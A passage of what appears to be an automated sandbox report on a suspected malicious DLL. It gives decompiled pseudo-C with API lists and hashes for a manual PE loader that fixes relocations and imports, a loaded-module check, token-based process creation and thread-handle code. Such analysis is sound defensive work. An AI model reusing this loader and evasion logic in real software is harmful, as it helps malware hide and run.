								_t150 =  *0x6c4ee688; // 0x2130590
								lstrcpynW(_t150 + 0x438,  *0x6c4ee740, 0x105);
								_t153 =  *0x6c4ee688; // 0x2130590
								_t154 = _t153 + 0x228;
								__eflags = _t154;
								lstrcpynW(_t154,  *0x6c4ee738, 0x105);
								_t331 =  *0x6c4ee688; // 0x2130590
								_t117 = _t331 + 0x228; // 0x21307b8
								 *((intOrPtr*)(_t331 + 0x434)) = E6C4D8F9F(_t117, __eflags);
								E6C4D85FB(0x6c4ee740, 0xfffffffe);
								E6C4D85FB(0x6c4ee738, 0xfffffffe);
								L41:
								_t159 = 0;
								__eflags = 0;
								L42:
								return _t159;
							}
							__eflags = _t238 - 2;
							if(_t238 != 2) {
								goto L36;
							}
							goto L17;
						}
					}
					L8:
					_t159 = _t122 | 0xffffffff;
					goto L42;
				}
				_t250 = E6C4D95A8(0x6e2);
				_v616 = _t250;
				_t326 = E6C4D95A8(0x9f5);
				_v612 = _t326;
				if(_t250 != 0 && _t326 != 0) {
					if(GetModuleHandleA(_t250) != 0 || GetModuleHandleA(_t326) != 0) {
						_v620 = 1;
					}
					E6C4D85A3( &_v616);
					_t122 = E6C4D85A3( &_v612);
					_t351 = _v620;
					if(_v620 != 0) {
						goto L8;
					}
				}
			}

0x6c4d4d60
0x6c4d4d66
0x6c4d4d6c
0x6c4d4d71
0x6c4d4d7f
0x6c4d4d82
0x6c4d4de1
0x6c4d4df3
0x6c4d4df6
0x6c4d4dfd
0x6c4d4e02
0x6c4d4e07
0x6c4d4e0e
0x6c4d4e18
0x6c4d4e1f
0x6c4d4e2a
0x6c4d4e2f
0x6c4d4e36
0x6c4d4e3c
0x6c4d4e3e
0x6c4d4e3f
0x6c4d4e43
0x6c4d4e4e
0x6c4d4e53
0x6c4d4e5c
0x6c4d4e61
0x6c4d4e69
0x6c4d4e70
0x6c4d4e71
0x6c4d4e73
0x6c4d4e8f
0x6c4d4e92
0x6c4d4e92
0x6c4d4e9b
0x6c4d4ea0
0x6c4d4eaa
0x6c4d4eb0
0x6c4d4eb8
0x6c4d4ebd
0x6c4d4ec3
0x6c4d4ec6
0x6c4d4ecc
0x6c4d4eeb
0x6c4d4ef1
0x6c4d4ef2
0x6c4d4ef3
0x6c4d4ef4
0x6c4d4ef5
0x6c4d4ef6
0x6c4d4efa
0x6c4d4f00
0x6c4d4f04
0x6c4d4f09
0x6c4d4f0c
0x6c4d4f0e
0x6c4d4f20
0x6c4d4f20
0x6c4d4f22
0x6c4d4f2e
0x6c4d4f33
0x6c4d4f39
0x6c4d4f42
0x6c4d4f45
0x6c4d4f47
0x6c4d4f52
0x6c4d4f57
0x6c4d4f5c
0x6c4d4f61
0x6c4d4f61
0x6c4d4f64
0x6c4d4f6b
0x00000000
0x6c4d4f71
0x6c4d4f71
0x6c4d4f76
0x6c4d4f7a
0x6c4d4f7c
0x6c4d4f7f
0x6c4d4f81
0x6c4d4f87
0x6c4d4f87
0x6c4d4f81
0x6c4d4f89
0x6c4d4f8e
0x6c4d4f8e
0x6c4d4f94
0x6c4d4f96
0x00000000
0x6c4d4f9c
0x6c4d4f9c
0x6c4d4fa0
0x6c4d5075
0x6c4d507b
0x6c4d5081
0x6c4d508c
0x6c4d508d
0x6c4d508e
0x6c4d508f
0x6c4d5095
0x6c4d509a
0x6c4d50a0
0x6c4d50a8
0x6c4d50ae
0x6c4d50b1
0x6c4d50c0
0x6c4d50c7
0x6c4d50ca
0x6c4d50d7
0x6c4d50db
0x6c4d50e8
0x6c4d50ed
0x6c4d50f0
0x6c4d50f2
0x6c4d5103
0x6c4d5105
0x6c4d5109
0x6c4d510a
0x6c4d510c
0x6c4d5117
0x6c4d511c
0x6c4d5129
0x6c4d512d
0x6c4d512e
0x6c4d5130
0x6c4d5138
0x6c4d5139
0x6c4d513e
0x6c4d5147
0x6c4d5156
0x6c4d515b
0x6c4d515e
0x6c4d5162
0x6c4d5164
0x6c4d5177
0x6c4d5181
0x6c4d5185
0x6c4d518d
0x6c4d518e
0x6c4d5196
0x6c4d5197
0x6c4d519c
0x6c4d51a8
0x6c4d51b2
0x6c4d51c4
0x6c4d51d0
0x6c4d51d5
0x6c4d51d5
0x6c4d51df
0x6c4d51e5
0x6c4d51e5
0x6c4d510c
0x6c4d50f2
0x00000000
0x6c4d507b
0x6c4d4fa6
0x6c4d4fa9
0x00000000
0x00000000
0x6c4d4faf
0x6c4d4fba
0x6c4d4fbb
0x6c4d4fbc
0x6c4d4fbd
0x6c4d4fc3
0x6c4d4fc8
0x6c4d4fdc
0x6c4d4fe1
0x6c4d4fe5
0x6c4d4ff0
0x6c4d4ff9
0x6c4d4ffb
0x6c4d4fff
0x6c4d5000
0x6c4d5002
0x6c4d500d
0x6c4d5013
0x6c4d5025
0x6c4d5028
0x6c4d502b
0x6c4d5038
0x6c4d5040
0x6c4d504a
0x6c4d505c
0x6c4d5068
0x6c4d506d
0x00000000
0x6c4d5002
0x6c4d4f96
0x6c4d4ece
0x6c4d4ece
0x6c4d4ece
0x6c4d4ed4
0x6c4d4ed6
0x00000000
0x00000000
0x6c4d4ed8
0x6c4d4edc
0x6c4d51e6
0x6c4d51eb
0x6c4d51f1
0x6c4d51f3
0x6c4d51f4
0x6c4d51f8
0x6c4d5208
0x6c4d520d
0x6c4d5211
0x6c4d5213
0x6c4d5217
0x6c4d521c
0x6c4d521e
0x6c4d5220
0x6c4d5226
0x6c4d5226
0x6c4d5233
0x6c4d5239
0x6c4d523f
0x6c4d5244
0x6c4d5262
0x6c4d5264
0x6c4d5270
0x6c4d5270
0x6c4d5276
0x6c4d5278
0x6c4d527e
0x6c4d5290
0x6c4d5296
0x6c4d52a2
0x6c4d52aa
0x6c4d52aa
0x6c4d52aa
0x6c4d52ac
0x6c4d52b2
0x6c4d52b2
0x6c4d4ee2
0x6c4d4ee5
0x00000000
0x00000000
0x00000000
0x6c4d4ee5
0x6c4d4ecc
0x6c4d4e10
0x6c4d4e10
0x00000000
0x6c4d4e10
0x6c4d4d8e
0x6c4d4d95
0x6c4d4d9e
0x6c4d4da0
0x6c4d4da6
0x6c4d4db7
0x6c4d4dc0
0x6c4d4dc0
0x6c4d4dcc
0x6c4d4dd5
0x6c4d4dda
0x6c4d4ddf
0x00000000
0x00000000
0x6c4d4ddf

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 6C4D4DB3
GetModuleHandleA.KERNEL32(00000000), ref: 6C4D4DBA
lstrcpynW.KERNEL32(02130158,00000105), ref: 6C4D5262
lstrcpynW.KERNEL32(02130368,00000105), ref: 6C4D5276

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModulelstrcpyn
String ID:
API String ID: 3430401031-0
Opcode ID: 7b8f3897058f215be3bf905a83423294bd83b82471c9394e0a7eddf9930388c2
Instruction ID: 8c4e0adb4480bae212991e316db0ba513eb944a31c0f4c9a60d46e8b3e1362e6
Opcode Fuzzy Hash: 7b8f3897058f215be3bf905a83423294bd83b82471c9394e0a7eddf9930388c2
Instruction Fuzzy Hash: FFE1E271604301AFE740EF64CCA4FAA73E5EB88318F56092EF144D7681DB74E909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6C4E2B24, Relevance: 6.2, APIs: 4, Instructions: 219
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6C4E2B24(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v5;
				signed short _v12;
				intOrPtr* _v16;
				signed int* _v20;
				intOrPtr _v24;
				unsigned int _v28;
				signed short* _v32;
				struct HINSTANCE__* _v36;
				intOrPtr* _v40;
				signed short* _v44;
				intOrPtr _v48;
				unsigned int _v52;
				intOrPtr _v56;
				_Unknown_base(*)()* _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				unsigned int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _t149;
				void* _t189;
				signed int _t194;
				signed int _t196;
				intOrPtr _t236;

				_v72 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v24 = _v72;
				_t236 = _a4 -  *((intOrPtr*)(_v24 + 0x34));
				_v56 = _t236;
				if(_t236 == 0) {
					L13:
					while(0 != 0) {
					}
					_push(8);
					if( *((intOrPtr*)(_v24 + 0xbadc25)) == 0) {
						L35:
						_v68 =  *((intOrPtr*)(_v24 + 0x28)) + _a4;
						while(0 != 0) {
						}
						if(_a12 != 0) {
							 *_a12 = _v68;
						}
						 *((intOrPtr*)(_v24 + 0x34)) = _a4;
						return _v68(_a4, 1, _a8);
					}
					_v84 = 0x80000000;
					_t149 = 8;
					_v16 = _a4 +  *((intOrPtr*)(_v24 + (_t149 << 0) + 0x78));
					while( *((intOrPtr*)(_v16 + 0xc)) != 0) {
						_v36 = GetModuleHandleA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						if(_v36 == 0) {
							_v36 = LoadLibraryA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						}
						if(_v36 != 0) {
							if( *_v16 == 0) {
								_v20 =  *((intOrPtr*)(_v16 + 0x10)) + _a4;
							} else {
								_v20 =  *_v16 + _a4;
							}
							_v64 = _v64 & 0x00000000;
							while( *_v20 != 0) {
								if(( *_v20 & _v84) == 0) {
									_v88 =  *_v20 + _a4;
									_v60 = GetProcAddress(_v36, _v88 + 2);
								} else {
									_v60 = GetProcAddress(_v36,  *_v20 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v16 + 0x10)) == 0) {
									 *_v20 = _v60;
								} else {
									 *( *((intOrPtr*)(_v16 + 0x10)) + _a4 + _v64) = _v60;
								}
								_v20 =  &(_v20[1]);
								_v64 = _v64 + 4;
							}
							_v16 = _v16 + 0x14;
							continue;
						} else {
							_t189 = 0xfffffffd;
							return _t189;
						}
					}
					goto L35;
				}
				_t194 = 8;
				_v44 = _a4 +  *((intOrPtr*)(_v24 + 0x78 + _t194 * 5));
				_t196 = 8;
				_v48 =  *((intOrPtr*)(_v24 + 0x7c + _t196 * 5));
				while(0 != 0) {
				}
				while(_v48 > 0) {
					_v28 = _v44[2];
					_v48 = _v48 - _v28;
					_v28 = _v28 - 8;
					_v28 = _v28 >> 1;
					_v32 =  &(_v44[4]);
					_v80 = _a4 +  *_v44;
					_v52 = _v28;
					while(1) {
						_v76 = _v52;
						_v52 = _v52 - 1;
						if(_v76 == 0) {
							break;
						}
						_v5 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v12 =  *_v32 & 0xfff;
						_v40 = (_v12 & 0x0000ffff) + _v80;
						if((_v5 & 0x000000ff) != 3) {
							if((_v5 & 0x000000ff) == 0xa) {
								 *_v40 =  *_v40 + _v56;
							}
						} else {
							 *_v40 =  *_v40 + _v56;
						}
						_v32 =  &(_v32[1]);
					}
					_v44 = _v32;
				}
				goto L13;
			}

0x6c4e2b33
0x6c4e2b39
0x6c4e2b42
0x6c4e2b45
0x6c4e2b48
0x00000000
0x6c4e2c39
0x6c4e2c3d
0x6c4e2c3f
0x6c4e2c4d
0x6c4e2d6b
0x6c4e2d74
0x6c4e2d77
0x6c4e2d7b
0x6c4e2d81
0x6c4e2d89
0x6c4e2d89
0x6c4e2d91
0x00000000
0x6c4e2d9c
0x6c4e2c53
0x6c4e2c5c
0x6c4e2c6a
0x6c4e2c6d
0x6c4e2c8a
0x6c4e2c91
0x6c4e2ca3
0x6c4e2ca3
0x6c4e2caa
0x6c4e2cba
0x6c4e2cd2
0x6c4e2cbc
0x6c4e2cc4
0x6c4e2cc4
0x6c4e2cd5
0x6c4e2cd9
0x6c4e2ce9
0x6c4e2d0c
0x6c4e2d1e
0x6c4e2ceb
0x6c4e2cff
0x6c4e2cff
0x6c4e2d28
0x6c4e2d44
0x6c4e2d2a
0x6c4e2d39
0x6c4e2d39
0x6c4e2d4c
0x6c4e2d55
0x6c4e2d55
0x6c4e2d63
0x00000000
0x6c4e2cac
0x6c4e2cae
0x00000000
0x6c4e2cae
0x6c4e2caa
0x00000000
0x6c4e2c6d
0x6c4e2b50
0x6c4e2b5e
0x6c4e2b63
0x6c4e2b6e
0x6c4e2b71
0x6c4e2b75
0x6c4e2b77
0x6c4e2b87
0x6c4e2b90
0x6c4e2b99
0x6c4e2ba1
0x6c4e2baa
0x6c4e2bb5
0x6c4e2bbb
0x6c4e2bbe
0x6c4e2bc1
0x6c4e2bc8
0x6c4e2bcf
0x00000000
0x00000000
0x6c4e2bda
0x6c4e2be8
0x6c4e2bf3
0x6c4e2bfd
0x6c4e2c15
0x6c4e2c22
0x6c4e2c22
0x6c4e2bff
0x6c4e2c0a
0x6c4e2c0a
0x6c4e2c29
0x6c4e2c29
0x6c4e2c31
0x6c4e2c31
0x00000000

APIs

GetModuleHandleA.KERNEL32(?), ref: 6C4E2C84
LoadLibraryA.KERNEL32(?), ref: 6C4E2C9D
GetProcAddress.KERNEL32(00000000,890CC483), ref: 6C4E2CF9
GetProcAddress.KERNEL32(00000000,?), ref: 6C4E2D18

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID:
API String ID: 384173800-0
Opcode ID: fdc0693585815f5fca040e5dc2a08967b86ee2f6a11f4f8e2b2e31b9f7529aab
Instruction ID: 3e89d85867caa1d35d8fa92bf579046e32cf3d365baed91919af24a49f970c8a
Opcode Fuzzy Hash: fdc0693585815f5fca040e5dc2a08967b86ee2f6a11f4f8e2b2e31b9f7529aab
Instruction Fuzzy Hash: 39A16975A0020ADFDB10CF98C885EADBBF0FF09316F158559E925EB751DB34AA81CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6C4D1B16, Relevance: 6.1, APIs: 4, Instructions: 97
threadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6C4D1B16(void* __eflags, void* __fp0) {
				char _v24;
				char _v28;
				void* _t12;
				intOrPtr _t14;
				void* _t15;
				intOrPtr _t16;
				void* _t17;
				void* _t19;
				void* _t20;
				char _t24;
				intOrPtr _t26;
				intOrPtr _t28;
				intOrPtr _t33;
				intOrPtr _t38;
				intOrPtr _t40;
				void* _t41;
				intOrPtr _t46;
				void* _t48;
				intOrPtr _t51;
				void* _t61;
				void* _t71;

				_t71 = __fp0;
				_t38 =  *0x6c4ee6f4; // 0x0
				_t12 = E6C4DA501(_t38, 0);
				while(_t12 < 0) {
					E6C4D97ED( &_v28);
					_t40 =  *0x6c4ee700; // 0x0
					_t14 =  *0x6c4ee704; // 0x0
					_t41 = _t40 + 0x3840;
					asm("adc eax, ebx");
					__eflags = _t14 - _v24;
					if(__eflags > 0) {
						L13:
						_t15 = 0;
					} else {
						if(__eflags < 0) {
							L4:
							_t16 =  *0x6c4ee684; // 0x21afaa0
							_t17 =  *((intOrPtr*)(_t16 + 0xc8))( *0x6c4ee6ec, 0);
							__eflags = _t17;
							if(_t17 == 0) {
								break;
							} else {
								_t33 =  *0x6c4ee684; // 0x21afaa0
								 *((intOrPtr*)(_t33 + 0xb4))(0x1388);
								_t51 =  *0x6c4ee6f4; // 0x0
								__eflags = 0;
								_t12 = E6C4DA501(_t51, 0);
								continue;
							}
						} else {
							__eflags = _t41 - _v28;
							if(_t41 >= _v28) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
					L12:
					return _t15;
				}
				E6C4D97ED(0x6c4ee700);
				_t19 = GetCurrentProcess();
				_t20 = GetCurrentThread();
				DuplicateHandle(GetCurrentProcess(), _t20, _t19, 0x6c4ee6ec, 0, 0, 2);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t24 =  *0x6c4ee6e8; // 0x0
				_v28 = _t24;
				_t61 = E6C4D1A01( &_v28, E6C4D1310, _t71);
				if(_t61 >= 0) {
					_push(0);
					_push( *0x6c4ee760);
					_t48 = 0x27;
					E6C4D9ED1(_t48);
				}
				if(_v24 != 0) {
					E6C4D6871( &_v24);
				}
				_t26 =  *0x6c4ee684; // 0x21afaa0
				 *((intOrPtr*)(_t26 + 0x30))( *0x6c4ee6ec);
				_t28 =  *0x6c4ee758; // 0x0
				 *0x6c4ee6ec = 0;
				_t29 =  !=  ? 1 : _t28;
				_t46 =  *0x6c4ee6f4; // 0x0
				 *0x6c4ee758 =  !=  ? 1 : _t28;
				E6C4DA51D(_t46);
				_t15 = _t61;
				goto L12;
			}

0x6c4d1b16
0x6c4d1b1c
0x6c4d1b2a
0x6c4d1b98
0x6c4d1b37
0x6c4d1b3c
0x6c4d1b42
0x6c4d1b47
0x6c4d1b4d
0x6c4d1b4f
0x6c4d1b53
0x6c4d1c4d
0x6c4d1c4d
0x6c4d1b59
0x6c4d1b59
0x6c4d1b65
0x6c4d1b65
0x6c4d1b71
0x6c4d1b77
0x6c4d1b79
0x00000000
0x6c4d1b7b
0x6c4d1b7b
0x6c4d1b85
0x6c4d1b8b
0x6c4d1b91
0x6c4d1b93
0x00000000
0x6c4d1b93
0x6c4d1b5b
0x6c4d1b5b
0x6c4d1b5f
0x00000000
0x00000000
0x00000000
0x00000000
0x6c4d1b5f
0x6c4d1b59
0x6c4d1c46
0x6c4d1c4c
0x6c4d1c4c
0x6c4d1ba1
0x6c4d1bb5
0x6c4d1bb8
0x6c4d1bc2
0x6c4d1bce
0x6c4d1bd8
0x6c4d1bd9
0x6c4d1bda
0x6c4d1bdb
0x6c4d1be0
0x6c4d1be9
0x6c4d1bed
0x6c4d1bef
0x6c4d1bf0
0x6c4d1bf8
0x6c4d1bf9
0x6c4d1bff
0x6c4d1c04
0x6c4d1c0a
0x6c4d1c0a
0x6c4d1c0f
0x6c4d1c1a
0x6c4d1c1d
0x6c4d1c25
0x6c4d1c31
0x6c4d1c34
0x6c4d1c3a
0x6c4d1c3f
0x6c4d1c44
0x00000000

APIs

GetCurrentProcess.KERNEL32(6C4EE6EC,00000000,00000000,00000002), ref: 6C4D1BB5
GetCurrentThread.KERNEL32(00000000), ref: 6C4D1BB8
GetCurrentProcess.KERNEL32(00000000), ref: 6C4D1BBF
DuplicateHandle.KERNEL32 ref: 6C4D1BC2

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: Current$Process$DuplicateHandleThread
String ID:
API String ID: 3566409357-0
Opcode ID: 90d02cc49a454087be990c1d0a5c7e1f3d1b978d8c67eb152cdc9870e5566739
Instruction ID: 937eb0e13cfe326e066b8beb1cf361974d82d31b61b5c8c8a226cbdd6b4c8b1d
Opcode Fuzzy Hash: 90d02cc49a454087be990c1d0a5c7e1f3d1b978d8c67eb152cdc9870e5566739
Instruction Fuzzy Hash: 73317C71B042019FDB44FF75D8E4D6A77B4EB593A5B430929F90187AA2DA30FC04CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DAD86, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E6C4DAD86(intOrPtr* __ecx, void* __edx, char _a4) {
				char _v8;
				char _v12;
				char _v16;
				char _v32;
				char* _v92;
				void _v100;
				intOrPtr* _t21;
				intOrPtr* _t22;
				intOrPtr* _t25;
				int _t27;
				intOrPtr _t28;
				intOrPtr _t38;
				intOrPtr _t47;
				int _t58;
				int _t60;

				_t21 =  *0x6c4ee680; // 0x0
				_t22 =  *_t21;
				_t60 = 0;
				if(_t22 != 0) {
					_t1 =  &_v12; // 0x6c4d4965
					_push( *__ecx);
					if( *_t22() != 0) {
						_v8 = 0;
						_t25 = E6C4DB9DA(1,  &_v8);
						_v16 = _t25;
						if(_t25 != 0) {
							_push(__edx);
							_push( *_t25);
							_t28 =  *0x6c4ee68c; // 0x21afc68
							if( *((intOrPtr*)(_t28 + 0x68))() != 0) {
								_v8 = 0;
								asm("stosd");
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_t58 = 0x44;
								memset( &_v100, 0, _t58);
								_v100 = _t58;
								_v92 =  &_v8;
								_push( &_v32);
								_push( &_v100);
								_t38 =  *0x6c4ee684; // 0x21afaa0
								_push(0);
								_push(0);
								_push(0x4000000);
								_push(0);
								_push(0);
								_push(0);
								_t15 =  &_a4; // 0x6c4d4965
								_push( *_t15);
								_push(0);
								_push(_v12);
								if( *((intOrPtr*)(_t38 + 0x50))() != 0) {
									_t60 = 1;
								}
							}
							E6C4D85FB( &_v16, 0);
						}
						_t47 =  *0x6c4ee684; // 0x21afaa0
						_t19 =  &_v12; // 0x6c4d4965
						 *((intOrPtr*)(_t47 + 0x30))( *_t19);
						_t27 = _t60;
						L10:
						return _t27;
					}
					GetLastError();
				}
				_t27 = 0;
				goto L10;
			}

0x6c4dad89
0x6c4dad91
0x6c4dad97
0x6c4dad9e
0x6c4dada7
0x6c4dadab
0x6c4dadb1
0x6c4dadc3
0x6c4dadc8
0x6c4dadcd
0x6c4dadd3
0x6c4dadd5
0x6c4dadd6
0x6c4dadd8
0x6c4dade2
0x6c4dade9
0x6c4daded
0x6c4dadf0
0x6c4dadf1
0x6c4dadf2
0x6c4dadf6
0x6c4dadfa
0x6c4dae02
0x6c4dae08
0x6c4dae0e
0x6c4dae12
0x6c4dae13
0x6c4dae18
0x6c4dae19
0x6c4dae1a
0x6c4dae1f
0x6c4dae20
0x6c4dae21
0x6c4dae22
0x6c4dae22
0x6c4dae25
0x6c4dae26
0x6c4dae2e
0x6c4dae32
0x6c4dae32
0x6c4dae2e
0x6c4dae38
0x6c4dae3e
0x6c4dae3f
0x6c4dae45
0x6c4dae48
0x6c4dae4b
0x6c4dae4d
0x6c4dae51
0x6c4dae51
0x6c4dadb3
0x6c4dadb3
0x6c4dada0
0x00000000

APIs

GetLastError.KERNEL32 ref: 6C4DADB3

Part of subcall function 6C4DB9DA: GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6C4D0000,00000000,00000000,?,6C4DBA79,?,00000000,?,6C4DD0EA), ref: 6C4DB9F5
Part of subcall function 6C4DB9DA: GetLastError.KERNEL32(?,6C4DBA79,?,00000000,?,6C4DD0EA), ref: 6C4DB9FC

memset.MSVCRT ref: 6C4DADFA

Strings

eIMl, xrefs: 6C4DAE22
eIMl, xrefs: 6C4DADA7, 6C4DADBB, 6C4DAE45, 6C4DADAA

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$InformationTokenmemset
String ID: eIMl$eIMl
API String ID: 898169725-3672438426
Opcode ID: 83cef1a99deb511c296264c1f9d97e1ee10e10a5eabce06a003eeb5d70e5e41e
Instruction ID: e1456d854db5aadc66532cee030b92f31a3e69aaf17b0224491690b605d40d4a
Opcode Fuzzy Hash: 83cef1a99deb511c296264c1f9d97e1ee10e10a5eabce06a003eeb5d70e5e41e
Instruction Fuzzy Hash: D021FD72A00109AFEB40EFA9CC94DAEB7BDEF89249B124066E505D7611D730AD05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C4D2ADD, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71
stringCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6C4D2ADD() {
				intOrPtr _v8;
				signed int _v12;
				CHAR* _v16;
				signed int _t16;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t26;
				void* _t29;
				signed int _t31;
				intOrPtr _t36;
				CHAR* _t38;
				intOrPtr _t39;
				void* _t40;

				_t15 =  *0x6c4ee710 * 0x64;
				_t39 = 0;
				_v12 =  *0x6c4ee710 * 0x64;
				_t16 = E6C4D85E5(_t15);
				_t38 = _t16;
				_v16 = _t38;
				if(_t38 != 0) {
					_t31 =  *0x6c4ee710; // 0x0
					_t36 = 0;
					_v8 = 0;
					if(_t31 == 0) {
						L9:
						_push(_t38);
						E6C4D9F13(0xe);
						E6C4D85FB( &_v16, _t39);
						return 0;
					}
					_t29 = 0;
					do {
						_t21 =  *0x6c4ee714; // 0x0
						if( *((intOrPtr*)(_t29 + _t21)) != 0) {
							if(_t39 != 0) {
								lstrcatA(_t38, "|");
								_t39 = _t39 + 1;
							}
							_t22 =  *0x6c4ee714; // 0x0
							_push( *((intOrPtr*)(_t29 + _t22 + 0x10)));
							_push( *((intOrPtr*)(_t29 + _t22 + 8)));
							_t26 = E6C4D95E2( &(_t38[_t39]), _v12 - _t39, "%u;%u;%u",  *((intOrPtr*)(_t29 + _t22)));
							_t31 =  *0x6c4ee710; // 0x0
							_t40 = _t40 + 0x18;
							_t36 = _v8;
							_t39 = _t39 + _t26;
						}
						_t36 = _t36 + 1;
						_t29 = _t29 + 0x20;
						_v8 = _t36;
					} while (_t36 < _t31);
					goto L9;
				}
				return _t16 | 0xffffffff;
			}

0x6c4d2ae3
0x6c4d2aed
0x6c4d2af0
0x6c4d2af3
0x6c4d2af8
0x6c4d2afa
0x6c4d2b00
0x6c4d2b0a
0x6c4d2b10
0x6c4d2b12
0x6c4d2b17
0x6c4d2b74
0x6c4d2b7a
0x6c4d2b7e
0x6c4d2b89
0x00000000
0x6c4d2b90
0x6c4d2b19
0x6c4d2b1b
0x6c4d2b1b
0x6c4d2b24
0x6c4d2b28
0x6c4d2b30
0x6c4d2b36
0x6c4d2b36
0x6c4d2b37
0x6c4d2b3c
0x6c4d2b40
0x6c4d2b56
0x6c4d2b5b
0x6c4d2b61
0x6c4d2b64
0x6c4d2b67
0x6c4d2b67
0x6c4d2b69
0x6c4d2b6a
0x6c4d2b6d
0x6c4d2b70
0x00000000
0x6c4d2b1b
0x00000000

APIs

Part of subcall function 6C4D85E5: HeapAlloc.KERNEL32(00000008,?,?,6C4D8F65,00000100,?,6C4D5FAC), ref: 6C4D85F3

lstrcatA.KERNEL32(00000000,6C4EB99C,1WMl,-00000020,00000000,?,00000000,?,?,?,?,?,?,?,6C4D5731), ref: 6C4D2B30

Strings

%u;%u;%u, xrefs: 6C4D2B4C
1WMl, xrefs: 6C4D2AEC

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeaplstrcat
String ID: %u;%u;%u$1WMl
API String ID: 1792520475-268189114
Opcode ID: 4397cdf03b2f1d7cc01aeb6b5ac5e7147fcde90ab3d65b42cad65b7f413489f5
Instruction ID: 01a07c6584ff5a53e6811fa8a9eb0e2a8fde705a56c54a2b0187ccbcc7a34128
Opcode Fuzzy Hash: 4397cdf03b2f1d7cc01aeb6b5ac5e7147fcde90ab3d65b42cad65b7f413489f5
Instruction Fuzzy Hash: 4C110A32E00301ABCF15EFA9CCD4E9A7BB5FB89225B12496AD411D7645DB71A900CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6C4D825A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6C4D825A() {
				short* _v8;
				char* _v12;
				short* _t8;
				int _t20;
				short* _t22;
				char* _t27;
				int _t30;

				_push(_t22);
				_push(_t22);
				_t8 = _t22;
				_t30 = 0;
				_v8 = _t8;
				if(_t8 != 0) {
					_t20 = WideCharToMultiByte(0xfde9, 0, _t8, 0xffffffff, 0, 0, 0, 0);
					if(_t20 > 0) {
						_t2 = _t20 + 1; // 0x1
						_t27 = E6C4D85E5(_t2);
						_v12 = _t27;
						if(_t27 != 0) {
							if(WideCharToMultiByte(0xfde9, 0, _v8, 0xffffffff, _t27, _t20, 0, 0) > 0) {
								_v12 = _t27;
								_t30 = E6C4E01B7(_t27);
								_t7 =  &_v12; // 0x6c4d79e0
								E6C4D85FB(_t7, _t20);
							} else {
								_t5 =  &_v12; // 0x6c4d79e0
								E6C4D85FB(_t5, 0);
							}
						}
					}
				}
				return _t30;
			}

0x6c4d825d
0x6c4d825e
0x6c4d825f
0x6c4d8262
0x6c4d8264
0x6c4d8269
0x6c4d827f
0x6c4d8283
0x6c4d8285
0x6c4d828f
0x6c4d8291
0x6c4d8297
0x6c4d82b0
0x6c4d82c1
